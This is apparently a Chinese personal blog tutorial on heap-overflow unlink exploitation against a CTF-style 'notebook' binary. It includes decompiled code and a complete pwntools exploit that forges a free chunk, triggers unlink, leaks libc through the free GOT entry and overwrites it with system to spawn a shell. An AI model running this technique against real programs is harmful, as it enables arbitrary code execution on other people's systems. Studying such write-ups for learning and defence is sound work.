Whali3n51's blog

  • 主页
  • 关于
  • 友链
  • 标签
  • 分类
pwn总结

堆溢出的unlink漏洞利用

Whali3n51 发布于 2019-06-04

用实例来讲解unlink以及unlink的使用条件。
首先我们拿到程序notebook
我们开始分析这个例子
首先查看这个程序的保护机制
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
没有开启PIE,证明这一题可以得到bss段的地址。
然后进入IDA
首先进入创建堆块的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int create()
{
__int64 v0; // rax@2
signed int i; // [sp+8h] [bp-8h]@5
int v3; // [sp+Ch] [bp-4h]@3

if ( number <= 3 )
{
puts("enter the lenth of notebook:");
LODWORD(v0) = my_atoi();
v3 = v0;
if ( (_DWORD)v0 )
{
for ( i = 0; i <= 3; ++i )
{
v0 = qword_6020A8[2 * i];
if ( !v0 )
{
unk_6020A0[4 * i] = v3;
qword_6020A8[2 * i] = malloc(v3);
puts("input the content:");
sub_4008CB(qword_6020A8[2 * i], v3);
++number;
LODWORD(v0) = 0;
return v0;
}
}
}
else
{
puts("sorry,invalid lenth");
LODWORD(v0) = 0;
}
}
else
{
LODWORD(v0) = puts("this is no space ");
}
return v0;
}

发现这个函数的将创建堆块的地址放在一个全局变量的结构体数组里面。这个结构体的样子是这样的

1
2
3
4
5
Struct note
{
int64 size;
Int64* content
}

结构体的大小固定,但是content堆块的大小任我们决定。但是输入的时候有检测,不能造成堆溢出。
然后进入修改堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 edit()
{
int v0; // eax@3
unsigned __int8 v2; // [sp+Bh] [bp-5h]@2

if ( number )
{
puts("enter the index of notebook:");
v2 = my_atoi();
if ( qword_6020A8[2 * (unsigned __int64)v2] )
{
puts("enter the lenth of notebook:");
v0 = my_atoi();
sub_4008CB(qword_6020A8[2 * (unsigned __int64)v2], v0);
return 0LL;
}
puts("invalid notebook");
}
else
{
puts("invalid choice");
}
return 0LL;
}

这个函数首先在已有的堆块上面进行更改,但是我们输入的字节大小长度是任意的。所以这里存在堆溢出。当我们输入的大小长度超过了堆块的大小,就造成了溢出。
然后就再进入打印函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 show()
{
unsigned __int8 v0; // al@2
__int64 result; // rax@2
unsigned __int8 v2; // [sp+Fh] [bp-1h]@2

if ( number )
{
puts("enter the index:");
v0 = my_atoi();
v2 = v0;
result = qword_6020A8[2 * (unsigned __int64)v0];
if ( result )
{
printf("%d:%s\n", v2, qword_6020A8[2 * (unsigned __int64)v2]);
result = 0LL;
}
}
else
{
puts("invalid choice");
result = 0LL;
}
return result;
}

这个函数就是简单的打印出content堆块的信息
在进入释放堆块的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 delete()
{
__int64 result; // rax@3
int v1; // [sp+Ch] [bp-4h]@2

if ( number )
{
puts("enter the index:");
v1 = my_atoi();
if ( qword_6020A8[2 * v1] )
{
free((void *)qword_6020A8[2 * v1]);
qword_6020A8[2 * v1] = 0LL;
unk_6020A0[4 * v1] = 0;
--number;
puts("success");
result = 0LL;
}
else
{
puts("invalid notebook");
result = 0LL;
}
}
else
{
puts("invalid choice");
result = 0LL;
}
return result;
}

这个函数就是将输入的序号对应的堆块删除然后将结构体清零。
这一题我们解题思路就是我们能直接操作堆块,而且堆块存放的地址我们能知道(在bss段),并且存在堆溢出,所以我们能触发unlink漏洞,并且触发unlink漏洞之后我们能够控制一个指针,通过这个指针我们能过覆盖got的free地址。
然后我的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

p=process('./notebook')
elf=ELF('./notebook')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

#context.log_level = "debug"
def create(size,content):
p.recvuntil('your choice?\n')
p.sendline('1')
p.recvuntil('enter the lenth of notebook:\n')
p.sendline(str(size))
p.recvuntil('input the content:\n')
p.sendline(content)

def edit(index,size,content):
p.recvuntil('your choice?\n')
p.sendline('2')
p.recvuntil('enter the index of notebook:\n')
p.sendline(str(index))
p.recvuntil('enter the lenth of notebook:\n')
p.sendline(str(size))
sleep(0.1)
p.sendline(content)

def show(index):
p.recvuntil('your choice?\n')
p.sendline('4')
p.recvuntil('enter the index:\n')
p.sendline(str(index))

def free(index):
p.recvuntil('your choice?\n')
p.sendline('3')
p.recvuntil('enter the index:\n')
p.sendline(str(index))



create(0x100,"/bin/sh\x00")
create(0x30,'aaaaa')
create(0x80,'ccccccc')#控制大小,能触发unlink

create(0x80,'/bin/sh\x00')#构造能进入shell的条件

#pause()
array=0x6020A0+8+0x10#存放id=1的content地址

payload=p64(0)+p64(0x20)+p64(array-0x18)+p64(array-0x10)+p64(0x20)#伪装为free chunk
payload+=(0x30-len(payload))*'a'+p64(0x30)+p64(0x90)#使id=2的content堆块相信前面是free chunk

edit(1,len(payload),payload)

free(2)#触发unlink
#这个时候id=1的content指针指向id=0的size
payload=p64(0x100)+p64(elf.got['free'])+p64(0x30)#覆盖id=0的size和content,将content指针改为free的got地址。
edit(1,len(payload)+2,payload)#

show(0)#将free的真实地址泄露出来

#下面就是得到free真实地址,计算出system真实地址
p.recvuntil(':')
index=p.recv(6)
free_addr=u64(index.ljust(8,'\x00'))
print hex(free_addr)
libc_base=free_addr-libc.symbols['free']
system_addr=libc_base+libc.symbols['system']


payload=p64(system_addr)#将got上的free的真实地址改为system真实地址
edit(0,len(payload),payload)


free(3)#触发system函数,进入shell



p.interactive()
  • #unlink
Newer

CISCN华北赛区pwn脚本及总结

Older

Unsorted bin attack

© 2023 Whali3n51